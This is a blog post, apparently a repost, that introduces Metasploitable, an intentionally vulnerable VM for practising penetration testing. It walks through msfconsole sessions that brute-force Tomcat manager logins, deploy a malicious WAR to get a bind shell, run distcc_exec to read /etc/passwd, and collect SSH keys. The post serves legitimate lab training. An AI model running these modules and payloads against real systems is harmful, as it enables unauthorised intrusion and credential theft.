Metasploitable – Test Your Metasploit Against A Vulnerable Host

Ok so you’ve got Metasploit loaded up, you’ve read the Metasploit Tutorials & Watched the Videos – but you’ve still got no idea what to do next and don’t have anything to test against.

It’s not exactly new, but I guess a lot of people still don’t know about it. Basically if you don’t know what to do next, this is where Metasploitable comes in! One of the questions that the Metasploit developers often hear is “What systems can I use to test against?” Based on this, they thought it would be a good idea throw together an exploitable VM that you can use for testing purposes.

Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image. A number of vulnerable packages are included, including an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older MySQL.
You can use most VMware products to run it, and you’ll want to make sure it’s configured for Host-only networking unless it’s in your lab – no need to throw another vulnerable machine on the corporate network. It’s configured in non-persistent-disk mode, so you can simply reset it if you accidentally ‘rm -rf’ it.
There are various other similar setups you can test out your hacking kung-fu on like:

• Bodgeit Store
• Jarlsberg
• WackoPicko
• Damn Vulnerable Web Application (DVWA)
• Vicnum

You can download Metasploitable here:
Torrent – Metasploitable.zip.torrent
(Be careful opening the readme.txt as there are spoilers in it).

One of the questions that we often hear is "What systems can i use to test against?" Based on this, we thought it would be a good idea throw together an exploitable VM that you can use for testing purposes.

Metasploitable is an Ubuntu 8.04 server install on a VMWare 6.5 image. A number of vulnerable packages are included, including an install of tomcat 5.5 (with weak credentials), distcc, tikiwiki, twiki, and an older mysql.

You can use most VMware products to run it, and you'll want to make sure it's configured for Host-only networking unless it's in your lab - no need to throw another vulnerable machine on the corporate network. It's configured in non-persistent-disk mode, so you can simply reset it if you accidentally 'rm -rf' it.

Here are a couple of the things you can do with it in msfconsole:

Using the 'Tomcat Application Manager Login Utility' provided by MC, Matteo Cantoni, and jduck, you can test credentials against a Tomcat application (assuming the manager component is enabled):

msf > use scanner/http/tomcat_mgr_login
msf auxiliary(tomcat_mgr_login) > set RHOSTS metasploitable
msf auxiliary(tomcat_mgr_login) > set RPORT 8180
msf auxiliary(tomcat_mgr_login) > exploit

...
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'role1'
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'root'
[-] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] failed to login as 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'tomcat' with password:'tomcat'
[+] http://10.0.0.33:8180/manager/html [Apache-Coyote/1.1] [Tomcat Application Manager] successful login 'tomcat' : 'tomcat'
[*] 10.0.0.33:8180 - Trying username:'both' with password:'admin'

Woot! That's a valid (tomcat:tomcat) login. - Now that we have valid credentials, let's try jduck's Tomcat Manager Application Deployer (tomcat_mgr_deploy) against it:

msf > use multi/http/tomcat_mgr_deploy
msf exploit(tomcat_mgr_deploy) > set RHOST metasploitable
msf exploit(tomcat_mgr_deploy) > set USERNAME tomcat
msf exploit(tomcat_mgr_deploy) > set PASSWORD tomcat
msf exploit(tomcat_mgr_deploy) > set RPORT 8180
msf exploit(tomcat_mgr_deploy) > set PAYLOAD linux/x86/shell_bind_tcp
msf exploit(tomcat_mgr_deploy) > exploit

[*] Started bind handler
[*] Attempting to automatically select a target...
[*] Automatically selected target "Linux X86"
[*] Uploading 1612 bytes as HJpy1H.war ...
[*] Executing /HJpy1H/EpKaNLsCQUUjo.jsp...
[*] Undeploying HJpy1H ...
[*] Sending stage (36 bytes) to metasploitable
[*] Command shell session 1 opened (10.0.0.11:39497 -> 10.0.0.33:4444) at 2010-05-19 11:53:12 -0500

Sweet! And... that's a shell, facilitated by a malcious .WAR file. The distcc_exec module is also a nice exploit to test with. In this case, we'll use a command payload to 'cat /etc/passwd':

use unix/misc/distcc_exec
msf exploit(distcc_exec) > set PAYLOAD cmd/unix/generic
msf exploit(distcc_exec) > set RHOST metasploitable
msf exploit(distcc_exec) > set CMD 'cat /etc/passwd'
msf exploit(distcc_exec) > exploit
connecting...

[*] stdout: root:x:0:0:root:/root:/bin/bash
[*] stdout: daemon:x:1:1:daemon:/usr/sbin:/bin/sh
...
Code exec!

It's great fun to run Express against it too. A single bruteforce of ssh or telnet will return 5 sessions (from the 5 different weak accounts on the VM).

Once we have an open session we can run "Evidence Collection" and pick up any ssh keyfiles from the user accounts we gained access to. (Note that you can do this from the console too, manually - spawn a shell and check the .ssh directories). Now when we run another bruteforce (with 'known' credentials), it uses the SSH keyfiles to obtain access to the box.

To download Metasploitable, you can pick up the torrent here. A README.txt can be found within the torrent containing passwords (beware of spoilers). If you are an Express customer, you can pick up a direct HTTP download from the Customer Center.

Enjoy! 

nb : metasploit & darknet